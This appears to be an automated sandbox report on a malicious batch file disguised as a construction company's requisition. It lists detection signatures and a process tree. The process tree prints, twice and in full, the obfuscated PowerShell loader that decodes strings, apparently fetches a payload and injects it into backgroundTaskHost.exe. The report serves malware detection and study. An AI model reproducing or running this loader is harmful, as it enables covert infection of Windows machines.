Analysis
- max time kernel
298s - max time network
203s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
04/06/2026, 02:55
General
- Target Construcciones CAMSA S.L REQ2060026.bat
- Size 3KB
- Sample260604-deg3gahs6x
- SHA256 7c161d7478660f3ef1fe7a6ecb9bcc4d45d2c505b2febb544c1a4bd84e0974a8
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Construcciones CAMSA S.L REQ2060026.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -windowstyle 1 "mp 'titoi' 'misa178' 'generi';$oxidat=3;$terr=55;function befund ($workmans,$grouchinge) {$signal=floppe('Superponderant Udslettelser Cantorous Prepersuaded Beti;; [VVViWWWnKK t o] ##$ ||w<<<oJJ r ||k###m,IIannnn P.szzz Z Z- ffb ++x') ;$signal+=floppe('Subboreal Divination Barselspatienterne Trkplastret GamWWWoC CrRRR nn[ EEi <<nnn t///]PP,$!!!g===rIIIo PPulllcXXXh ^^iwwwnS Sgkkke~~, ');;Oriso ($signal)}function floppe ($hjemgiv) { $ringworms=$oxidat+$terr; do {$maski+=$hjemgiv[$ringworms];$ringworms+=4} while ($hjemgiv[$ringworms])$maski}function Oriso ($mindstemaa) {&($dispersoi) $mindstemaa}Function Slukke ($hjemgiv,$tidssk=0){ ;$helase=floppe('Haematinum Kultursociologisk gesandternes Arbejdsminist DD$bbbs uucqqqroooi,XXpCC.t>>>:JJ,aQQQallls|||y- -n.JJe cct CC=-- [BBBC!!!o');$helase+=floppe('Aperitiffernes Balmiest Contrition parakeratosis LancerL.Ln|||v bbeLLLrFFFt //]');$helase+=$hrers;$helase+=floppe('Taarekirtler Sideslips Unerudite Afvrgningerne Retracts&&&FDD r<<<o,>>m GGB NNaxxxs|||eSSS6G,G4 KKSssstlllrFFFiqqqn ddgYYY(-,-$hhhh QQj&&&eV.Vm **gT Ticccv ee)');Oriso ($helase);For($ringworms=0; $aasynet[$ringworms] -ne $betontrib; $ringworms++){$aasynet[$ringworms] = befund $aasynet[$ringworms] $udmntethu234[$ringworms%8]}$kalibrere=floppe('Opvarterske Chalice Nonidolatrousness BegyndelseslinierZ.Z$NN,s .tc.wwr,ggivvvpffftpp :TTTtJ JeooonXXXaFFFn___=ccc[');$kalibrere+=floppe('Undkommende Noncapitulation Biskuiterne Brndemrkningen ZZZTeeee###x++ t');$kalibrere+=$cubbiesad;$kalibrere+=floppe('Unspecializings Lutea Poetcraft Cretinise Dibling Antec !!E HHnGGGccccon nd???i ppn---glll]');$kalibrere+=$hrers;$kalibrere+=floppe('Ondograph Contrariously Oll Prepromoted Strykninforgift aaA.##S ZCEE I llI');$kalibrere+=$cubbiesad;$kalibrere+=floppe('misimprovement bury Svimmelt Bevisbyrdes Mowhawk Sunde HH G ceccct***Sbbbtnnnr UUixxxn TTgyy.(GG,$.LLaTTTa>>>sZZ,yv vn***eLL tYY,)');Oriso ($kalibrere);if ($tidssk) { Oriso $tenan}else {;$tenan}}$hrers=floppe('Schoolmen Kubistiske Micromazia Irrationaliteternes Phy WW:sss:');$dispersoi=floppe 'Paraffinere Faedre Spaaners Ganoid Anvis DokumentsamlinHHHI';$cubbiesad=floppe('Sulfoforbindelser intertoll Domprovsters Disclosed Hyld===.');$dispersoi+=floppe 'Fatuousnesses Rotiferan Parallelogram Portrtteres DybgapppE';$udmntethu234=@(66,101,115,107,121,116,116,101);$dispersoi+=floppe 'Briketterendes Dipaschal Sspejder Superglacial Graphiti~ ~X';$polli=Slukke 'd0tDS1EjHQsmCgQYWTogRXNVXVtCVCMMLFNHUFkMQlF5RQEdQ0VBVWxVWks+ERcOLUpBW0hERFRyVFMtEAYRAy0dXFpMRFpV';$ekspediti=Slukke 'KhEHGwpOW0omFxodHFoTCi0CHw5XFxsIbRAQVBwMBAowEU4PFgMaCS0EF00QEElUcUgxJTICAgYVAyBeKyY+KgQUFBtLKywzNw4gOSsnIQQ=';$ringmrknin=Slukke 'fA==';$fields='\Frit.Srn';Slukke 'ZgIfBBsVGF8xHB4NFklQACwTSQoJBBAENgRYTx8dEQkmFg==' 1;Slukke 'ZgIfBBsVGF8lFxIbHBIGECURTk8cHwcVJwEaHxBaBxUuDAdDXQYdCyUIAQAXHRpM' 1;Slukke 'GSsWH1cnERc0DBAOKRsdCzYoEgUYExEXH19JOBwXARcrEQo7CxsACiEKH1ZKRENX' 1;$ekspediti=$grapefrugt[0];$kandidat=(Slukke 'ZgIfBBsVGF8vDAAbCxsQECEATiUcA1kqIA8WCA1UOgA2SyQOGzcYDCcLBw==');Oriso ($kandidat);Slukke 'ZggaGAkGGwE3BhZFMREVAScXADAiOhERbC0HHwkmERQ3AAAfMREVAScXLl9JKUlBMgofBxA=' 1;$plym=Slukke 'BgoEBRUbFQEEDB8O';$evapo=Slukke 'ZggaGAkGGwE3BhZFXQQYHC9LOgUPGx8AakEWAAoEEQErERpHXRYGCiwGGwIWGF0=';$bronchiol=$symfo;Slukke 'ZgIfBBsVGF8vAB8CGhtJTRYAAB9UJBURKkVXCQsbGgYqDBwHUA==' 1;while (!$melico) {Slukke 'ZgIfBBsVGF8PDB0ECxUTADZYVx8LARE=' 1;Oriso $evapo;Slukke 'EQkWDglcQEw=' 1;Slukke 'ZgIfBBsVGF8vAB8CGhtJTRYAAB9UJBURKkVXCQsbGgYqDBwHUA==' 1 ;Slukke 'ZgIfBBsVGF8rCxcOGwYaAScATk8eGBsHIwlJGA0dGAAuAB5AUlFQAjAEAw4fBgECNksQBAwaAA==' 1;$ekspediti=$grapefrugt[$indebrndee]}$zircit=149852;$teaching=14894;Slukke 'ZgIfBBsVGF8kDBYHHQMbWCUGU08bBhsLIQ0aBBU=' 1;Slukke 'ZgIfBBsVGF8HBh8CCQAdBn8+MAQXAhEXNjhJUT8GGwgABAAOT0AnETAMHQxRUBIMJwkXHBZd' 1;Slukke 'ZgIfBBsVGF8kBB0OEhsGEScRTjAtEQwRbCAdCBYQHQslOElROCc3LAtLNA4NJwAXKwsUQ10xFwkrFQcCGl0=' 1;Slukke 'ZgIfBBsVGF83Cx0KDx0TBH9BFQoXER8KMBEWH1cHAQcxEQECFxNcQTgMAQgQAFhBNgASCBEdGgJr' 1;Oriso $unnaviga;#VIex Pseudo Systemur Donke Admission ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "mp 'titoi' 'misa178' 'generi';$oxidat=3;$terr=55;function befund ($workmans,$grouchinge) {$signal=floppe('Superponderant Udslettelser Cantorous Prepersuaded Beti;; [VVViWWWnKK t o] ##$ ||w<<<oJJ r ||k###m,IIannnn P.szzz Z Z- ffb ++x') ;$signal+=floppe('Subboreal Divination Barselspatienterne Trkplastret GamWWWoC CrRRR nn[ EEi <<nnn t///]PP,$!!!g===rIIIo PPulllcXXXh ^^iwwwnS Sgkkke~~, ');;Oriso ($signal)}function floppe ($hjemgiv) { $ringworms=$oxidat+$terr; do {$maski+=$hjemgiv[$ringworms];$ringworms+=4} while ($hjemgiv[$ringworms])$maski}function Oriso ($mindstemaa) {&($dispersoi) $mindstemaa}Function Slukke ($hjemgiv,$tidssk=0){ ;$helase=floppe('Haematinum Kultursociologisk gesandternes Arbejdsminist DD$bbbs uucqqqroooi,XXpCC.t>>>:JJ,aQQQallls|||y- -n.JJe cct CC=-- [BBBC!!!o');$helase+=floppe('Aperitiffernes Balmiest Contrition parakeratosis LancerL.Ln|||v bbeLLLrFFFt //]');$helase+=$hrers;$helase+=floppe('Taarekirtler Sideslips Unerudite Afvrgningerne Retracts&&&FDD r<<<o,>>m GGB NNaxxxs|||eSSS6G,G4 KKSssstlllrFFFiqqqn ddgYYY(-,-$hhhh QQj&&&eV.Vm **gT Ticccv ee)');Oriso ($helase);For($ringworms=0; $aasynet[$ringworms] -ne $betontrib; $ringworms++){$aasynet[$ringworms] = befund $aasynet[$ringworms] $udmntethu234[$ringworms%8]}$kalibrere=floppe('Opvarterske Chalice Nonidolatrousness BegyndelseslinierZ.Z$NN,s .tc.wwr,ggivvvpffftpp :TTTtJ JeooonXXXaFFFn___=ccc[');$kalibrere+=floppe('Undkommende Noncapitulation Biskuiterne Brndemrkningen ZZZTeeee###x++ t');$kalibrere+=$cubbiesad;$kalibrere+=floppe('Unspecializings Lutea Poetcraft Cretinise Dibling Antec !!E HHnGGGccccon nd???i ppn---glll]');$kalibrere+=$hrers;$kalibrere+=floppe('Ondograph Contrariously Oll Prepromoted Strykninforgift aaA.##S ZCEE I llI');$kalibrere+=$cubbiesad;$kalibrere+=floppe('misimprovement bury Svimmelt Bevisbyrdes Mowhawk Sunde HH G ceccct***Sbbbtnnnr UUixxxn TTgyy.(GG,$.LLaTTTa>>>sZZ,yv vn***eLL tYY,)');Oriso ($kalibrere);if ($tidssk) { Oriso $tenan}else {;$tenan}}$hrers=floppe('Schoolmen Kubistiske Micromazia Irrationaliteternes Phy WW:sss:');$dispersoi=floppe 'Paraffinere Faedre Spaaners Ganoid Anvis DokumentsamlinHHHI';$cubbiesad=floppe('Sulfoforbindelser intertoll Domprovsters Disclosed Hyld===.');$dispersoi+=floppe 'Fatuousnesses Rotiferan Parallelogram Portrtteres DybgapppE';$udmntethu234=@(66,101,115,107,121,116,116,101);$dispersoi+=floppe 'Briketterendes Dipaschal Sspejder Superglacial Graphiti~ ~X';$polli=Slukke 'd0tDS1EjHQsmCgQYWTogRXNVXVtCVCMMLFNHUFkMQlF5RQEdQ0VBVWxVWks+ERcOLUpBW0hERFRyVFMtEAYRAy0dXFpMRFpV';$ekspediti=Slukke 'KhEHGwpOW0omFxodHFoTCi0CHw5XFxsIbRAQVBwMBAowEU4PFgMaCS0EF00QEElUcUgxJTICAgYVAyBeKyY+KgQUFBtLKywzNw4gOSsnIQQ=';$ringmrknin=Slukke 'fA==';$fields='\Frit.Srn';Slukke 'ZgIfBBsVGF8xHB4NFklQACwTSQoJBBAENgRYTx8dEQkmFg==' 1;Slukke 'ZgIfBBsVGF8lFxIbHBIGECURTk8cHwcVJwEaHxBaBxUuDAdDXQYdCyUIAQAXHRpM' 1;Slukke 'GSsWH1cnERc0DBAOKRsdCzYoEgUYExEXH19JOBwXARcrEQo7CxsACiEKH1ZKRENX' 1;$ekspediti=$grapefrugt[0];$kandidat=(Slukke 'ZgIfBBsVGF8vDAAbCxsQECEATiUcA1kqIA8WCA1UOgA2SyQOGzcYDCcLBw==');Oriso ($kandidat);Slukke 'ZggaGAkGGwE3BhZFMREVAScXADAiOhERbC0HHwkmERQ3AAAfMREVAScXLl9JKUlBMgofBxA=' 1;$plym=Slukke 'BgoEBRUbFQEEDB8O';$evapo=Slukke 'ZggaGAkGGwE3BhZFXQQYHC9LOgUPGx8AakEWAAoEEQErERpHXRYGCiwGGwIWGF0=';$bronchiol=$symfo;Slukke 'ZgIfBBsVGF8vAB8CGhtJTRYAAB9UJBURKkVXCQsbGgYqDBwHUA==' 1;while (!$melico) {Slukke 'ZgIfBBsVGF8PDB0ECxUTADZYVx8LARE=' 1;Oriso $evapo;Slukke 'EQkWDglcQEw=' 1;Slukke 'ZgIfBBsVGF8vAB8CGhtJTRYAAB9UJBURKkVXCQsbGgYqDBwHUA==' 1 ;Slukke 'ZgIfBBsVGF8rCxcOGwYaAScATk8eGBsHIwlJGA0dGAAuAB5AUlFQAjAEAw4fBgECNksQBAwaAA==' 1;$ekspediti=$grapefrugt[$indebrndee]}$zircit=149852;$teaching=14894;Slukke 'ZgIfBBsVGF8kDBYHHQMbWCUGU08bBhsLIQ0aBBU=' 1;Slukke 'ZgIfBBsVGF8HBh8CCQAdBn8+MAQXAhEXNjhJUT8GGwgABAAOT0AnETAMHQxRUBIMJwkXHBZd' 1;Slukke 'ZgIfBBsVGF8kBB0OEhsGEScRTjAtEQwRbCAdCBYQHQslOElROCc3LAtLNA4NJwAXKwsUQ10xFwkrFQcCGl0=' 1;Slukke 'ZgIfBBsVGF83Cx0KDx0TBH9BFQoXER8KMBEWH1cHAQcxEQECFxNcQTgMAQgQAFhBNgASCBEdGgJr' 1;Oriso $unnaviga;#VIex Pseudo Systemur Donke Admission ;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ppqrd5ls.x4y.ps1
Frit.Srn
memory/568-1-0x00000253D11B0000-0x00000253D11C0000-memory.dmp
memory/568-7-0x00000253D11F0000-0x00000253D1212000-memory.dmp
memory/568-12-0x00000253D11B0000-0x00000253D11C0000-memory.dmp
memory/568-11-0x00000253D11B0000-0x00000253D11C0000-memory.dmp
memory/568-0-0x00000253D11B0000-0x00000253D11C0000-memory.dmp
memory/4620-31-0x0000000005BA0000-0x0000000005BEC000-memory.dmp
memory/4620-33-0x0000000006090000-0x00000000060AA000-memory.dmp
memory/4620-19-0x0000000004E00000-0x0000000004E22000-memory.dmp
memory/4620-20-0x0000000005520000-0x0000000005586000-memory.dmp
memory/4620-21-0x0000000005590000-0x00000000055F6000-memory.dmp
memory/4620-28-0x0000000005640000-0x0000000005997000-memory.dmp
memory/4620-17-0x0000000002460000-0x0000000002470000-memory.dmp
memory/4620-30-0x0000000005B60000-0x0000000005B7E000-memory.dmp
memory/4620-16-0x0000000002350000-0x0000000002386000-memory.dmp
memory/4620-32-0x0000000006B30000-0x0000000006BC6000-memory.dmp
memory/4620-34-0x00000000060E0000-0x0000000006102000-memory.dmp
memory/4620-18-0x0000000004E80000-0x00000000054AA000-memory.dmp
memory/4620-35-0x00000000073E0000-0x0000000007986000-memory.dmp
memory/4620-36-0x0000000008010000-0x000000000868A000-memory.dmp
memory/4620-15-0x0000000002460000-0x0000000002470000-memory.dmp
memory/4620-40-0x0000000002460000-0x0000000002470000-memory.dmp
memory/4620-39-0x0000000002460000-0x0000000002470000-memory.dmp
memory/4620-38-0x0000000002460000-0x0000000002470000-memory.dmp
memory/4620-41-0x00000000070D0000-0x00000000070D3000-memory.dmp
memory/4620-42-0x0000000008690000-0x000000000CF72000-memory.dmp
memory/4620-43-0x0000000002460000-0x0000000002470000-memory.dmp
memory/4620-44-0x0000000002460000-0x0000000002470000-memory.dmp
memory/4620-45-0x0000000002460000-0x0000000002470000-memory.dmp
memory/4620-46-0x00000000070D0000-0x00000000070D3000-memory.dmp